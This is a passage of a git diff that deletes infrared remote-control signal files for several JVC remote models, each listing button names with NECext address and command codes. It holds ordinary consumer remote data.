00 00 -# -name: scrollDown -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: personalTv -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: listings -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 30 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 31 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 32 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir deleted file mode 100644 index 728e4aaba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: monitor -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: prog_menu -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: prog_check -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3D 00 00 00 -# -name: review -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir deleted file mode 100644 index 6cb364f5b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 07 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 29 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 31 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 33 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 91 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 97 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir deleted file mode 100644 index 039759ee4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: sleep_timer -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 42 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: aspect -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 93 00 00 00 -# -name: theater_pro -type: parsed -protocol: NECext -address: 03 00 00 00 -command: D5 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: E6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir deleted file mode 100644 index a45dc0d6e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: off_timer -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: return+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: muting -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 73 00 00 00 -# -name: picture_mode -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 79 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 -# -name: colour -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 92 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 9D 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 03 00 00 00 -command: B4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir deleted file mode 100644 index d92842877..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: BROADCAST -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: LEVELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: LEVELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3A 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir deleted file mode 100644 index 49a2dcf1e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: PICTURE_ADJUST+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: PICTURE_ADJUST- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: PICTURE_MODE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 79 00 00 00 -# -name: PICTURE_ADJUST -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: COLOUR_SYSTEM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 92 00 00 00 -# -name: CH_PRESET -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 99 00 00 00 -# -name: KEY_MAX -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 9D 00 00 00 -# -name: SOUND_SYSTEM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: B4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir deleted file mode 100644 index 1bad143ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: PICTURE_ADJUST+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: PICTURE_ADJUST- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: PICTURE_MODE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 79 00 00 00 -# -name: PICTURE_ADJUST -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: COLOUR_SYSTEM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 92 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 9D 00 00 00 -# -name: SOUND_SYSTEM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: B4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir deleted file mode 100644 index a5e001761..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: AV_STATUS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 89 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: B2 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: D6 00 00 00 -# -name: C1/C2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: DA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir deleted file mode 100644 index 8c320fd31..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Main/Sap -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: AVStatus -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: KEY_AGAIN -type: parsed 